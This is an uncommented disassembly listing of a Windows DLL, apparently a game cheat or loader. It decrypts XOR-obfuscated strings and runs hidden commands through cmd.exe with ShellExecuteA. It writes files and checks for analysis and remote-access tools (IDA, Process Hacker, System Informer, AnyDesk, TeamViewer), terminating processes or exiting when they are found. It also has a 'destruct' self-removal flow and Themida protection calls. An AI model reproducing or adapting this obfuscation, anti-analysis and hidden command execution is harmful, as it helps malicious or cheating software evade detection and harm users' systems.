movabs rcx, 0xb75de1620389364a
mov qword [rbp + 0x420], rax
movabs rax, 0xd27392056de0423e
movdqa xmmword [rbp + 0x250], xmm0
movdqa xmm0, xmmword [rbp + 0x270]
xorps xmm0, xmmword [rbp + 0x410]
mov qword [rbp + 0x288], rcx
movabs rcx, 0x31f48066b4ec455f
mov qword [rbp + 0x428], rax
movabs rax, 0x31f48066b4ec2027
mov qword [rbp + 0x290], rcx
lea rcx, [rbp + 0x450]
mov qword [rbp + 0x430], rax
movabs rax, 0xba5422af318af538
mov qword [rbp + 0x298], rax
movdqa xmmword [rbp + 0x260], xmm1
movdqa xmm1, xmmword [rbp + 0x280]
xorps xmm1, xmmword [rbp + 0x420]
movdqa xmmword [rbp + 0x270], xmm0
movdqa xmm0, xmmword [rbp + 0x290]
mov qword [rbp + 0x438], rax
xorps xmm0, xmmword [rbp + 0x430]
movdqa xmmword [rbp + 0x290], xmm0
movdqa xmmword [rbp + 0x280], xmm1
call fcn.180018e80
lea rax, [rbp + 0x250]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x18000ffe6
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x450]
call fcn.1800024b0
movabs rax, 0xf26697e731ab5bf
movabs rcx, 0x6042071724468ffc
mov qword [rbp + 0x2f0], rax
movzx edx, r15b
mov qword [rbp + 0x4d0], rcx
movabs rax, 0xebcefc476a713c30
mov qword [rbp + 0x2f8], rax
movabs rcx, 0x9bab8828042d4f47
mov qword [rbp + 0x4d8], rcx
movabs rax, 0x484188b077fc7189
movdqu xmm0, xmmword [rbp + 0x4d0]
mov qword [rbp + 0x300], rax
movabs rcx, 0x4841edc812d215e8
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x4e0], rcx
xorps xmm0, xmmword [rbp + 0x2f0]
lea rcx, [rbp + 0x490]
mov qword [rbp + 0x4e8], rax
movups xmm1, xmmword [rbp + 0x4e0]
mov qword [rbp + 0x308], rax
movdqa xmmword [rbp + 0x250], xmm0
xorps xmm1, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x260], xmm1
call fcn.180018e80
lea rax, [rbp + 0x250]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800100d0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x490]
call fcn.1800024b0
lea rcx, [rbp + 0x490]
call fcn.180001d90
lea rcx, [rbp + 0x450]
mov qword [rsp + 0x50], rax
call fcn.180001d90
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call fcn.18000d270
lea rcx, [rbp + 0x490]
call fcn.180001da0
lea rcx, [rbp + 0x450]
call fcn.180001da0
lea rcx, [rbp + 0x1b8]
call fcn.180012680
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x390]
call fcn.180001da0
lea rcx, [rbp + 0x230]
call fcn.180013c10
jmp 0x18001081a
lea rdx, [0x180088a94]
lea rcx, [rbp + 0x318]
call fcn.18001d290
test al, al
je 0x180010813
xor eax, eax
lea rcx, [rbp + 0x390]
mov qword [rbp + 0x240], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
movabs rax, 0xf26697e731ab5bf
movzx edx, r12b
mov qword [rbp + 0x4f0], rax
movabs rax, 0xebcefc476a713c30
mov qword [rbp + 0x4f8], rax
movabs rax, 0x484188b077fc7189
mov qword [rbp + 0x500], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x508], rax
movabs rax, 0x6bcdef722c9877e3
mov qword [rbp + 0x510], rax
movabs rax, 0xe507287b5c5caee4
mov qword [rbp + 0x518], rax
movabs rax, 0xe70aa354c649684d
mov qword [rbp + 0x520], rax
movabs rax, 0xd27392056de0423e
mov qword [rbp + 0x528], rax
movabs rax, 0x31f48066b4ec2027
mov qword [rbp + 0x530], rax
movabs rax, 0xba5422af318af538
mov qword [rbp + 0x538], rax
movabs rax, 0x2427621805b4a1d1
mov qword [rbp + 0x540], rax
movabs rax, 0xdb4e11e9f1a45752
mov qword [rbp + 0x548], rax
movabs rax, 0x2009530d036ec1d7
mov qword [rbp + 0x3f0], rax
movabs rax, 0x88bd9523441f5853
mov qword [rbp + 0x3f8], rax
movabs rax, 0x2b6ff8c0169803e6
movdqa xmm0, xmmword [rbp + 0x3f0]
xorps xmm0, xmmword [rbp + 0x4f0]
mov qword [rbp + 0x400], rax
movabs rax, 0x5ecc9e15ddbf6985
mov qword [rbp + 0x408], rax
movabs rax, 0x5ae29c0642fd1a8b
movdqa xmm1, xmmword [rbp + 0x400]
xorps xmm1, xmmword [rbp + 0x500]
mov qword [rbp + 0x410], rax
movabs rax, 0xd03f1e49686f9bd5
mov qword [rbp + 0x418], rax
movabs rax, 0xd23c9b64f578597b
mov qword [rbp + 0x420], rax
movabs rax, 0xeb41ab345ccf760f
mov qword [rbp + 0x428], rax
movabs rax, 0x8c0b25385d41314
mov qword [rbp + 0x430], rax
movabs rax, 0xcc7b149d02bbc500
mov qword [rbp + 0x438], rax
movabs rax, 0xa51106b62dfd1b2
movdqa xmmword [rbp + 0x3f0], xmm0
movdqa xmm0, xmmword [rbp + 0x410]
xorps xmm0, xmmword [rbp + 0x510]
movdqa xmmword [rbp + 0x400], xmm1
movdqa xmm1, xmmword [rbp + 0x420]
xorps xmm1, xmmword [rbp + 0x520]
mov qword [rbp + 0x440], rax
movabs rax, 0xdb4e11e9f1c12f37
mov qword [rbp + 0x448], rax
movdqa xmmword [rbp + 0x410], xmm0
movdqa xmm0, xmmword [rbp + 0x430]
xorps xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x420], xmm1
movdqa xmm1, xmmword [rbp + 0x440]
xorps xmm1, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x440], xmm1
movdqa xmmword [rbp + 0x430], xmm0
call fcn.180018e80
mov rbx, 0xffffffffffffffff
lea rax, [rbp + 0x3f0]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1800103d6
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x390]
call fcn.1800024b0
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x230]
call fcn.18000e3e0
lea rcx, [rbp + 0x390]
call fcn.180001da0
mov ecx, Ordinal_104
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx edx, byte [rbp + 0x220]
movabs rax, 0xf26697e731ab5bf
mov qword [rbp + 0x490], rax
movabs rcx, 0x6042071724468ffc
mov qword [rbp + 0x390], rcx
movabs rax, 0xebcefc476a713c30
mov qword [rbp + 0x498], rax
movabs rcx, 0x8eba8f3e392d4f47
mov qword [rbp + 0x398], rcx
movabs rax, 0x484188b077fc7189
movdqu xmm0, xmmword [rbp + 0x390]
movabs rcx, 0x2c2fe1e72bce42e4
xorps xmm0, xmmword [rbp + 0x490]
mov qword [rbp + 0x4a0], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x3a0], rcx
movabs rcx, 0x4fc89d0eece37385
mov qword [rbp + 0x4a8], rax
movabs rax, 0x6bcdef722c9877e3
mov qword [rbp + 0x3a8], rcx
movabs rcx, 0x5abbb31e40fd1fb0
movups xmm1, xmmword [rbp + 0x3a0]
xorps xmm1, xmmword [rbp + 0x4a0]
mov qword [rbp + 0x4b0], rax
movabs rax, 0xe507287b5c5caee4
mov qword [rbp + 0x3b0], rcx
movabs rcx, 0x8d745a0c2c009eca
mov qword [rbp + 0x4b8], rax
movabs rax, 0xe70aa354c649684d
mov qword [rbp + 0x3b8], rcx
movabs rcx, 0xe76fdb31e839013e
movups xmm2, xmmword [rbp + 0x3b0]
xorps xmm2, xmmword [rbp + 0x4b0]
mov qword [rbp + 0x4c0], rax
movabs rax, 0xd27392056de0423e
mov qword [rbp + 0x3c0], rcx
lea rcx, [rbp + 0x450]
mov qword [rbp + 0x3c8], rax
movups xmm3, xmmword [rbp + 0x3c0]
mov qword [rbp + 0x4c8], rax
xorps xmm3, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0x280], xmm3
movdqa xmmword [rbp + 0x250], xmm0
movdqa xmmword [rbp + 0x260], xmm1
movdqa xmmword [rbp + 0x270], xmm2
call fcn.180018e80
lea rax, [rbp + 0x250]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800105a0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x450]
call fcn.1800024b0
xor edx, edx
lea rcx, [rbp + 0x110]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x450]
call fcn.180001d90
mov r9d, 0x40
mov dword [rsp + 0x20], 1
mov rdx, rax
lea rcx, [rbp + 0x110]
lea r8d, [r9 - 0x1e]
call fcn.180012740
mov r8, qword [rbp + 0x238]
lea rcx, [rbp + 0x110]
mov rdx, qword [rbp + 0x230]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x110]
call fcn.180012640
nop dword [rax + rax]
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x110]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x180010630
movabs rax, 0xf26697e731ab5bf
lea r9, [rbp + 0x250]
mov qword [rbp + 0x490], rax
lea r8, str.cmd.exe
movabs rax, 0xebcefc476a713c30
lea rdx, str.open
mov qword [rbp + 0x498], rax
xor ecx, ecx
movabs rax, 0x484188b077fc7189
mov qword [rbp + 0x4a0], rax
movabs rax, 0x3dadea61bc9004ea
mov qword [rbp + 0x4a8], rax
movabs rax, 0x6bcdef722c9877e3
mov qword [rbp + 0x4b0], rax
movabs rax, 0xe507287b5c5caee4
mov qword [rbp + 0x4b8], rax
movabs rax, 0xe70aa354c649684d
mov qword [rbp + 0x4c0], rax
movabs rax, 0xd27392056de0423e
mov qword [rbp + 0x4c8], rax
movabs rax, 0x66713544303ad690
mov qword [rbp + 0x390], rax
movabs rax, 0x929da0341d1e585e
mov qword [rbp + 0x398], rax
movabs rax, 0x1f1dba831a9905fa
movdqu xmm0, xmmword [rbp + 0x390]
xorps xmm0, xmmword [rbp + 0x490]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x52fd9916d3f46a83
mov qword [rbp + 0x3a8], rax
movabs rax, 0x7a18a1a7fea1294
movups xmm1, xmmword [rbp + 0x3a0]
xorps xmm1, xmmword [rbp + 0x4a0]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x9277744b726dd8b8
mov qword [rbp + 0x3b8], rax
movabs rax, 0x8224d33db5211b3f
movups xmm2, xmmword [rbp + 0x3b0]
xorps xmm2, xmmword [rbp + 0x4b0]
mov qword [rbp + 0x3c0], rax
movabs rax, 0xd27392056de02746
mov qword [rbp + 0x3c8], rax
xor eax, eax
movups xmm3, xmmword [rbp + 0x3c0]
xorps xmm3, xmmword [rbp + 0x4c0]
mov dword [rsp + 0x28], eax
movdqa xmmword [rbp + 0x280], xmm3
movdqa xmmword [rbp + 0x250], xmm0
movdqa xmmword [rbp + 0x260], xmm1
movdqa xmmword [rbp + 0x270], xmm2
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp + 0x1b8]
call fcn.180012680
lea rcx, [rbp + 0x1b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x450]
call fcn.180001da0
lea rcx, [rbp + 0x230]
call fcn.180013c10
jmp 0x18001081a
mov rbx, 0xffffffffffffffff
cmp byte [rbp + 0x311], 0
je 0x180010fb3
lea rdx, str.gosth
lea rcx, [rbp + 0x318]
call fcn.18001d290
test al, al
je 0x180010bf9
mov edx, 0x5dc
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0xf26697e731ab5bf
lea rcx, [rbp + 0x390]
mov qword [rbp + 0x560], rax
movzx edx, dil
movabs rax, 0xebcefc476a713c30
mov qword [rbp + 0x568], rax
movabs rax, 0x7f4f1a160068c2cf
mov qword [rbp - 0x48], rax
movabs rax, 0xebcefc470f09591e
mov qword [rbp - 0x40], rax
movdqu xmm0, xmmword [rbp - 0x48]
xorps xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x230], xmm0
call fcn.180018e80
lea rax, [rbp + 0x230]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800108c0
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x390]
call fcn.1800024b0
lea rcx, [rbp + 0x390]
call fcn.180006480
lea rcx, [rbp + 0x390]
mov dword [rsp + 0x50], eax
call fcn.180001da0
cmp dword [rsp + 0x50], 0
je 0x180010919
xor r9d, r9d
lea r8, [0x180087f3e]
lea rdx, str.close_gosth_and_click_destruct_again
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x18000a400]
lea rcx, [rbp - 0x18]
call fcn.18001e300
lea rcx, [rbp - 0x18]
call fcn.1800045e0
cmp dword [rbp - 0x10], 0
jne 0x1800110a9
lea rdx, [0x18000a570]
lea rcx, [rsp + 0x68]
call fcn.18001e300
lea rcx, [rsp + 0x68]
call fcn.1800045e0
cmp dword [rsp + 0x70], 0
jne 0x1800110a2
lea rdx, [0x18000a7a0]
lea rcx, [rbp + 8]
call fcn.18001e300
lea rcx, [rbp + 8]
call fcn.1800045e0
cmp dword [rbp + 0x10], 0
jne 0x18001109b
lea rdx, [0x18000a960]
lea rcx, [rbp + 0x18]
call fcn.18001e300
lea rcx, [rbp + 0x18]
call fcn.1800045e0
cmp dword [rbp + 0x20], 0
jne 0x180011094
lea rdx, [0x18000a880]
lea rcx, [rbp + 0x28]
call fcn.18001e300
lea rcx, [rbp + 0x28]
call fcn.1800045e0
cmp dword [rbp + 0x30], 0
jne 0x18001108d
lea rdx, [0x18000b8d0]
lea rcx, [rbp + 0x38]
call fcn.18001e300
lea rcx, [rbp + 0x38]
call fcn.1800045e0
cmp dword [rbp + 0x40], 0
jne 0x180011086
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x18000a640]
lea rcx, [rbp + 0x48]
call fcn.18001e300
lea rcx, [rbp + 0x48]
call fcn.1800045e0
cmp dword [rbp + 0x50], 0
jne 0x18001107f
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx edx, byte [rbp + 0x220]
lea rcx, [rbp + 0x450]
call fcn.180018e80
mov r8d, 6
lea rdx, str..C:
lea rcx, [rbp + 0x450]
call fcn.1800024b0
lea rcx, [rbp + 0x450]
call fcn.18000e1b0
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xf26697e731ab5bf
lea r9, [rbp + 0x390]
mov qword [rbp + 0x4d0], rax
lea r8, str.cmd.exe
movabs rax, 0xebcefc476a713c30
lea rdx, str.open
mov qword [rbp + 0x4d8], rax
movabs rcx, 0x5c09493a213ad690
mov qword [rbp + 0x2f0], rcx
movabs rax, 0x484188b077fc7189
mov qword [rbp + 0x4e0], rax
movabs rcx, 0x86ab88624a201310
mov qword [rbp + 0x2f8], rcx
movabs rax, 0x3dadea61bc9004ea
movdqu xmm0, xmmword [rbp + 0x2f0]
mov qword [rbp + 0x308], rax
movabs rcx, 0x484188b077fc54f9
mov qword [rbp + 0x300], rcx
xor ecx, ecx
movups xmm1, xmmword [rbp + 0x300]
mov qword [rbp + 0x4e8], rax
xor eax, eax
xorps xmm0, xmmword [rbp + 0x4d0]
xorps xmm1, xmmword [rbp + 0x4e0]
mov dword [rsp + 0x28], eax
movdqa xmmword [rbp + 0x3a0], xmm1
movdqa xmmword [rbp + 0x390], xmm0
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movabs rax, 0xf26697e731ab5bf
lea r9, [rbp + 0x230]
mov qword [rbp + 0x550], rax
lea r8, str.cmd.exe
movabs rax, 0xebcefc476a713c30
lea rdx, str.open
mov qword [rbp + 0x558], rax
xor ecx, ecx
movabs rax, 0x5d6f2d353e3ad690
mov qword [rbp + 0x58], rax
movabs rax, 0xebeb8c2a0f051910
mov qword [rbp + 0x60], rax
xor eax, eax
movdqu xmm0, xmmword [rbp + 0x58]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
xorps xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x230], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, [0x18000aa30]
lea rcx, [rbp + 0x78]
call fcn.18001e300
lea rcx, [rbp + 0x78]
call fcn.1800045e0
cmp dword [rbp + 0x80], 0
jne 0x180011078
lea rcx, [rbp + 0x450]
call fcn.180001da0
jmp 0x180010fb3
lea rdx, str.skript
lea rcx, [rbp + 0x318]
call fcn.18001d290
test al, al
je 0x180010d72
mov edx, 0x5dc
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, [0x18000a400]
lea rcx, [rbp + 0x88]
call fcn.18001e300
lea rcx, [rbp + 0x88]
call fcn.1800045e0
cmp dword [rbp + 0x90], 0
jne 0x1800110da
lea rdx, [0x18000a570]
lea rcx, [rbp + 0x98]
call fcn.18001e300
lea rcx, [rbp + 0x98]
call fcn.1800045e0
cmp dword [rbp + 0xa0], 0
jne 0x1800110d3
lea rdx, [0x18000a7a0]
lea rcx, [rbp + 0xa8]
call fcn.18001e300
lea rcx, [rbp + 0xa8]
call fcn.1800045e0
cmp dword [rbp + 0xb0], 0
jne 0x1800110cc
lea rdx, [0x18000a960]
lea rcx, [rbp + 0xb8]
call fcn.18001e300
lea rcx, [rbp + 0xb8]
call fcn.1800045e0
cmp dword [rbp + 0xc0], 0
jne 0x1800110c5
lea rdx, [0x18000a880]
lea rcx, [rbp + 0x68]
call fcn.18001e300
lea rcx, [rbp + 0x68]
call fcn.1800045e0
cmp dword [rbp + 0x70], 0
jne 0x1800110be
lea rdx, [0x18000ab10]
lea rcx, [rbp - 8]
call fcn.18001e300
lea rcx, [rbp - 8]
call fcn.1800045e0
cmp dword [rbp], 0
jne 0x1800110b7
lea rdx, [0x18000a640]
lea rcx, [rbp - 0x28]
call fcn.18001e300
lea rcx, [rbp - 0x28]
call fcn.1800045e0
cmp dword [rbp - 0x20], 0
jne 0x1800110b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x18000aa30]
lea rcx, [rbp - 0x38]
call fcn.18001e300
lea rcx, [rbp - 0x38]
call fcn.1800045e0
cmp dword [rbp - 0x30], 0
je 0x180010fb3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rdx, [0x180088a94]
lea rcx, [rbp + 0x318]
call fcn.18001d290
test al, al
je 0x180010fb3
mov edx, 0x5dc
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0xf26697e731ab5bf
lea rcx, [rbp + 0x390]
mov qword [rbp + 0x570], rax
movzx edx, sil
movabs rax, 0xebcefc476a713c30
mov qword [rbp + 0x578], rax
movabs rax, 0x7f4f1a160068c2cf
mov qword [rbp - 0x78], rax
movabs rax, 0xebcefc470f09591e
mov qword [rbp - 0x70], rax
movdqu xmm0, xmmword [rbp - 0x78]
xorps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x230], xmm0
call fcn.180018e80
lea rax, [rbp + 0x230]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180010e10
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x390]
call fcn.1800024b0
lea rcx, [rbp + 0x390]
call fcn.180006480
lea rcx, [rbp + 0x390]
mov dword [rsp + 0x50], eax
call fcn.180001da0
cmp dword [rsp + 0x50], 0
je 0x180010e69
xor r9d, r9d
lea r8, [0x180087f3e]
lea rdx, str.close_tzx_and_click_destruct_again
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, [0x18000a400]
lea rcx, [rbp - 0x68]
call fcn.18001e300
lea rcx, [rbp - 0x68]
call fcn.1800045e0
cmp dword [rbp - 0x60], 0
jne 0x180011112
lea rdx, [0x18000a570]
lea rcx, [rsp + 0x78]
call fcn.18001e300
lea rcx, [rsp + 0x78]
call fcn.1800045e0
cmp dword [rbp - 0x80], 0
jne 0x18001110b
lea rdx, [0x18000a7a0]
lea rcx, [rbp + 0xc8]
call fcn.18001e300
lea rcx, [rbp + 0xc8]
call fcn.1800045e0
cmp dword [rbp + 0xd0], 0
jne 0x180011104
lea rdx, [0x18000a960]
lea rcx, [rbp + 0xd8]
call fcn.18001e300
lea rcx, [rbp + 0xd8]
call fcn.1800045e0
cmp dword [rbp + 0xe0], 0
jne 0x1800110fd
lea rdx, [0x18000a880]
lea rcx, [rbp + 0xe8]
call fcn.18001e300
lea rcx, [rbp + 0xe8]
call fcn.1800045e0
cmp dword [rbp + 0xf0], 0
jne 0x1800110f6
lea rdx, [0x18000c0f0]
lea rcx, [rbp + 0xf8]
call fcn.18001e300
lea rcx, [rbp + 0xf8]
call fcn.1800045e0
cmp dword [rbp + 0x100], 0
jne 0x1800110ef
lea rdx, [0x18000a640]
lea rcx, [rbp + 0x370]
call fcn.18001e300
lea rcx, [rbp + 0x370]
call fcn.1800045e0
cmp dword [rbp + 0x378], 0
jne 0x1800110e8
lea rdx, [0x18000aa30]
lea rcx, [rsp + 0x30]
call fcn.18001e300
lea rcx, [rsp + 0x30]
call fcn.1800045e0
cmp dword [rsp + 0x38], 0
jne 0x1800110e1
lea rdx, str.AnyDesk
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1800118e0
lea rdx, str.TeamViewer
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1800117b0
lea rdx, str.Process_Hacker
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x180011680
lea rdx, str.System_Informer
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x180011550
lea rdx, str.IDA_v
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x180011320
lea rdx, str.IDA:_Quick_start
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x180011120
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.SecureEngineSDK64.dll_Ordinal_504]
movzx edx, byte [rbp + 0x2a0]
lea rcx, [rbp + 0x2a8]
call fcn.180014910
lea rcx, [rbp + 0x2b0]
call fcn.180001da0
jmp 0x18000ef55
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
movzx edx, byte [rbp + 0x220]
lea rcx, [rbp + 0x390]
movabs rax, 0x7743474a457bd1d6
movabs rsi, 0xf26697e731ab5bf
mov qword [rsp + 0x30], rax
movabs r14, 0xebcefc476a713c30
movabs rax, 0xebcefc476a713c55
mov qword [rbp + 0x370], rsi
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
mov qword [rbp + 0x378], r14
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180018e80
lea rax, [rsp + 0x30]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x180011190
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x390]
call fcn.1800024b0
lea rcx, [rbp + 0x390]
call fcn.180006480
lea rcx, [rbp + 0x390]
mov ebx, eax
call fcn.180001da0
mov qword [rbp + 0x370], rsi
movabs rdi, 0x3d1505121774c0cd
mov qword [rsp + 0x30], rdi
lea rdx, [rsp + 0x30]
mov qword [rbp + 0x378], r14
lea rcx, [rbp + 0x390]
test ebx, ebx
je 0x180011259
movabs rax, 0xebcefc470f09591e
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180014120
lea rcx, [rbp + 0x390]
call fcn.180006480
mov edx, 1
mov r8d, eax
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, [rbp + 0x390]
mov rbx, rax
call fcn.180001da0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movabs r15, 0xebcefc470f09591e
mov qword [rsp + 0x38], r15
movaps xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180014120
lea rcx, [rbp + 0x390]
call fcn.180006480
lea rcx, [rbp + 0x390]
mov ebx, eax
call fcn.180001da0
test ebx, ebx
je 0x180011a05
mov qword [rsp + 0x30], rdi
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x38], r15
lea rcx, [rbp + 0x390]
movaps xmm0, xmmword [rsp + 0x30]
mov qword [rbp + 0x370], rsi
mov qword [rbp + 0x378], r14
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180014120
lea rcx, [rbp + 0x390]
call fcn.180006480
mov edx, 1
mov r8d, eax
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, [rbp + 0x390]
mov rbx, rax
call fcn.180001da0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movzx edx, byte [rbp + 0x220]
lea rcx, [rbp + 0x390]
movabs rax, 0x7743474a457bd1d6
movabs rsi, 0xf26697e731ab5bf
mov qword [rsp + 0x30], rax
movabs r14, 0xebcefc476a713c30
movabs rax, 0xebcefc476a713c55
mov qword [rbp + 0x370], rsi
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
mov qword [rbp + 0x378], r14
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180018e80
lea rax, [rsp + 0x30]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180011390
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x390]
call fcn.1800024b0
lea rcx, [rbp + 0x390]
call fcn.180006480
lea rcx, [rbp + 0x390]
mov edi, eax
call fcn.180001da0
test edi, edi
mov qword [rbp + 0x370], rsi
movabs rdi, 0x3d1505121774c0cd
mov qword [rbp + 0x378], r14
mov qword [rsp + 0x30], rdi
lea rcx, [rbp + 0x390]
je 0x180011457
movabs rax, 0xebcefc470f09591e
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180014120
lea rcx, [rbp + 0x390]
call fcn.180006480
mov edx, 1
mov r8d, eax
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, [rbp + 0x390]
mov rbx, rax
call fcn.180001da0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
